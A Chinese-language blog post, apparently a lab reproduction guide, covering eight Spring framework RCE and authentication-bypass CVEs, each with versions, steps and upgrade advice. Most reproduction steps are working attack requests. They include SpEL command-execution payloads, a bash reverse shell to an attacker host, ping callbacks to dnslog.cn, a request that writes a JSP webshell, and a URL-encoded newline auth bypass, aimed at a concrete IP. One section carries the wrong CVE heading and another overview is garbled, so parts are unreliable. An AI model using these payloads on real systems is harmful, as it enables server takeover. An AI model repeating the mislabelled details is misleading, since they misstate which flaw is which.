总字符数: 15.77K
代码: 5.60K, 文本: 3.84K
预计阅读时间: 41 分钟
Spring Security OAuth2 远程命令执行漏洞 (CVE-2016-4977)
漏洞概述
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块.在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令.
影响版本:
- Spring Security OAuth 1.0.0到1.0.5 
- Spring Security OAuth 2.0.0到2.0.9 
- Spring Security OAuth 2.0到2.0.14 
- Spring Security OAuth 2.1到2.1.1 
- Spring Security OAuth 2.2到2.2.1 
- Spring Security OAuth 2.3到2.3.2 
漏洞复现
启动完成后,访问http://your-ip:8080/即可看到web页面.
访问http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test.首先需要填写用户名和密码,我们这里填入admin:admin即可.
可见,我们输入是SpEL表达式${233*233}已经成功执行并返回结果:

然后,我们使用poc.py来生成反弹shell的POC

如上图,生成了一大串SpEL语句.使用这个SpEL语句进行攻击
http://103.116.46.7:8080/oauth/authorize?response_type=YOUR-Payload&client_id=acme&scope=openid&redirect_uri=http://test
反弹shell

修复建议
漏洞修复代码见:

修复后的代码,将SpEL表达式的前缀判断改为了长度为6的随机字符串+{.这样的话,攻击者由于不知道前缀,所以就无法注入SpEL表达式进行攻击.
至于网上说这里因为是长度为6的随机字符串,有被暴破的风险.但个人认为不会,因为每一次的请求,在转发到/oauth/error接口处理,构造ModelAndView对象时,都会新建一个SpelView对象传进去,所以每次请求,这个6字节的随机字符串都会重新生成,所以并不存在暴破风险.当然,笔者只是根据代码的逻辑来判断的,并未实际调试验证.
Spring Data Rest远程命令执行(CVE-2017-8046)
漏洞概述
Spring Data 表达方式是在 Spring Data 之外,帮助开发者更容易地开发 REST 服务.在 REST API 的 Patch 中实现实现,路径的值被 RFC(RFC)的 Web 方法,导致 SpEL执行setValue式,触发远程命令执行.
利用版本:
- Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
- Spring Boot version < 2.0.0 M4
- Spring Data release trains < Kay-RC3
漏洞复现
- 访问 - http://103.116.46.7:8080/能够查看json格式的返回值,说明这是一个Restful风格的API服务器. 
- 将命令转换为 - ascii,然后将空格替换为- ,  
- 访问 - http://103.116.46.7:8080/customers/1,查看资源.我们使用PATCH请求来修改- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- PATCH /customers/1 HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
 Connection: close
 Content-Type: application/json-patch+json
 Content-Length: 214
 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112,105,110,103,32,116,51,102,102,49,118,46,100,110,115,108,111,103,46,99,110}))/lastname", "value": "vulhub" }]
- path的值是SpEL表达式,发送上面的数据包,将执行 - new byte[]{112,105,110,103,32,116,51,102,102,49,118,46,100,110,115,108,111,103,46,99,110}表示的命令- ping t3ff1v.dnslog.cn 
修复建议
官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞
Spring WebFlow 远程代码执行漏洞分析(CVE-2017-4971)
漏洞概述
通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件.
整体来说这个漏洞危害应该还是有一些的,如果满足2个前置条件,那么直接RCE是没什么问题的
利用版本:
- Spring WebFlow 2.4.0 - 2.4.4
漏洞复现
- 访问 - http://your-ip:8080将看到一个酒店预订的访问页面,这是spring-webflow官方给的简单示例 
- 首先访问 - http://your-ip:8080/login,使用页面左侧提供的一个账户/密码登录系统 
- 然后访问id为1的酒店 - http://your-ip:8080/hotels/1预订,点击按钮”预订酒店”,相关信息后点击”流程”(从这一步,其实WebFlow就正式开始了): 
- 再点击确认,到这个页面之后,打开BURP准备抓包,然后点击Confirm  
- 修改包数据 - 1 - &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/YOUR-VPS-IP/6666+0>%261")).start()=vulhub -   
修复建议
不受影响的版本
- Spring Web Flow 2.4.5
规避方案
官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞.官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为.
Spring Data Rest远程命令执行(CVE-2017-8046)
漏洞概述
spring消息为框架提供消息支持,其上层协议是STOMP,通信基于SockJS,
在spring消息中,其允许客户端订阅消息,并使用selector过滤消息.selector使用SpEL编写执行消息,并使用StandardEvaluationContext解析,造成命令漏洞.
利用版本:
- Spring Framework 5.0 to 5.0.4
- Spring Framework 4.3 to 4.3.15
- Older unsupported versions are also affected
漏洞复现
环境启动后,访问http://your-ip:8080即可看到一个网页页面
网上大部分文章都说spring messaging是基于websocket通信,其实不然.spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信.
连接后端服务器的流程,可以理解为:
所以我们可以使用http来复现漏洞,称之为”降维打击”.
我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:
- 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
- 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
- 某一个订阅的地址,如vulhub中为:/topic/greetings
- 如何触发这个订阅,即如何让后端向这个订阅发送消息.在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件.当然在实战中就不同了,所以这个poc并不具有通用性.
根据你自己的需求修改POC,比如修改URL以及命令
执行:python exploit.py


修复建议
- 请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本) 
- 如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本) 
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
漏洞概述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架.Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令.
利用版本:
- Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
- Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
- Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
- Spring Data REST 3.0 - 3.0.5 (Kay SR5)
漏洞复现
- 访问页面时,是一个spring常见的错误页面  
- 通过扫目录的方式发现敏感页面**/users**   
- 在输入一些数据后点击注册,并使用burp抓包,修改数据包为如下payload并发送 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15- POST /users?page=&size=5 HTTP/1.1 
 Host: 103.116.46.7:8080
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 127
 Origin: http://103.116.46.7:8080
 Connection: close
 Referer: http://103.116.46.7:8080/users
 Cookie: JSESSIONID=6F850A802C6E86AA7EC844A5CB119A79
 Upgrade-Insecure-Requests: 1
 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping k1xchl.dnslog.cn")]=&password=&repeatedPassword=-   
修复建议
- 2.0.x users should upgrade to 2.0.6
- 1.13.x users should upgrade to 1.13.11
- Older versions should upgrade to a supported branch
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
漏洞概述
Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞.当 攻击者可以访问到 Spring Cloud Gateway actuator 端点时,攻击者可构造恶意请求,创建新路由,同时利用路由的filter功能注入spel表达式,从而造成表达式注入执行任意代码.
利用版本:
- 3.0.x < Spring Cloud Gateway < 3.0.7
- 3.1.x < Spring Cloud Gateway < 3.1.1
漏洞复现
- 服务启动后,访问 - http://your-ip:8080即可看到演示页面 
- 发送如下数据包即可添加一个包含恶意SpEL表达式的路由 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21- POST /actuator/gateway/routes/new_result HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close
 Content-Type: application/json
 Content-Length: 329
 {
 "id": "new_result",
 "filters": [{
 "name": "AddResponseHeader",
 "args": {
 "name": "Result",
 "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
 }
 }],
 "uri": "http://103.116.46.7:8080"
 }-   
- 发送如下数据包应用刚添加的路由.这个数据包将触发SpEL表达式的执行 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- POST /actuator/gateway/refresh HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close
 Content-Type: application/json
 Content-Length: 0
- 发送如下数据包即可查看执行结果 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- GET /actuator/gateway/routes/new_result HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 0-   
- 最后,发送如下数据包清理现场,删除所添加的路由 - 1 
 2
 3
 4
 5
 6
 7
 8
 9- DELETE /actuator/gateway/routes/new_result HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close-   
- 再刷新下路由,可以看到已经无法访问了 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- POST /actuator/gateway/refresh HTTP/1.1 
 Host: localhost:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 0-   -   
修复建议
- 临时解决方案- 如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
- 如果需要Actuator端点,则应使用Spring Security对其进行保护.
 
- 如果不需要Actuator端点,可以通过
- 官方升级补丁- 3.1.x版本用户及时升级到3.1.1+
- 3.0.x版本用户及时升级到3.0.7+
 
Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)
漏洞概述
Spring Cloud Function 是基于 Spring Boot 的函数计算框架.该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件.在Spring Cloud Function 相关版本,存在SpEL表达式注入.恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限
利用版本:
- 3.0.0 <= Spring Cloud Function <= 3.2.2
漏洞复现
- 服务启动后,执行 - curl http://103.116.46.7:8080/uppercase -H "Content-Type: text/plain" --data-binary test将会执行- uppercase函数,将输入字符串转换成大写 
- 发送如下数据包, - spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14- POST /functionRouter HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close
 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping vujr8z.dnslog.cn")
 Content-Type: text/plain
 Content-Length: 4
 test-   
修复建议
- 受影响的组件更新至3.1.7、3.2.3安全版本.
Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965)
漏洞概述
在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞.
该CVE-2022-22965是在Java 9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞.
利用版本:
- Spring Framework 5.3.X < 5.3.18
- Spring Framework 5.2.X < 5.2.20
漏洞复现
- 访问 - http://103.116.46.7:8080/即可看到一个演示页面 
- 发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件,Payload如下,记得修改中文的地方以及IP - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13- GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22密码%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=文件名&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 
 Host: 103.116.46.7:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
 Connection: close
 suffix: %>//
 c1: Runtime
 c2: <%
 DNT: 1-   
- 访问写入的webshell文件  
修复建议
- 升级Spring 版本,Spring - 5.3.18和 Spring- 5.2.20已经修复了这个问题
- 如果无法升级 Spring,可以配置 - DataBinder来禁止访问这些敏感字段.- 在下面的代码中,在 Spring 的 - ControllerAdvice中,使用- @InitBinder注解获取到- WebDataBinder对象的引用,再使用- setDisallowedFields方法设置禁止访问的字段,就可以避免产生这个漏洞.- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 public class BinderControllerAdvice {
 
 public void setAllowedFields(WebDataBinder dataBinder) {
 String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
 dataBinder.setDisallowedFields(denylist);
 }
 }
Spring-security 认证绕过漏洞(CVE-2022-22978)
漏洞概述
当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含”.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证.
利用版本
- Spring Security 5.5.x < 5.5.7 
- Spring Security 5.6.x < 5.6.4 
环境搭建
| 1 | wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/spring/CVE-2022-22978-main.zip | 
漏洞复现
- 访问 - http://127.0.0.1:9090/login 
- 服务器启动后,浏览到http://127.0.0.1:9090/admin 可以看到会重定向到login页面 
- 绕过: - http://127.0.0.1:9090/admin%0a/ 
修复建议
目前,官方已发布可更新版本,建议用户及时更新:
Spring Security 5.5.x 升级至 5.5.7 :
Spring Security 5.6.x 升级至 5.6.4 :

























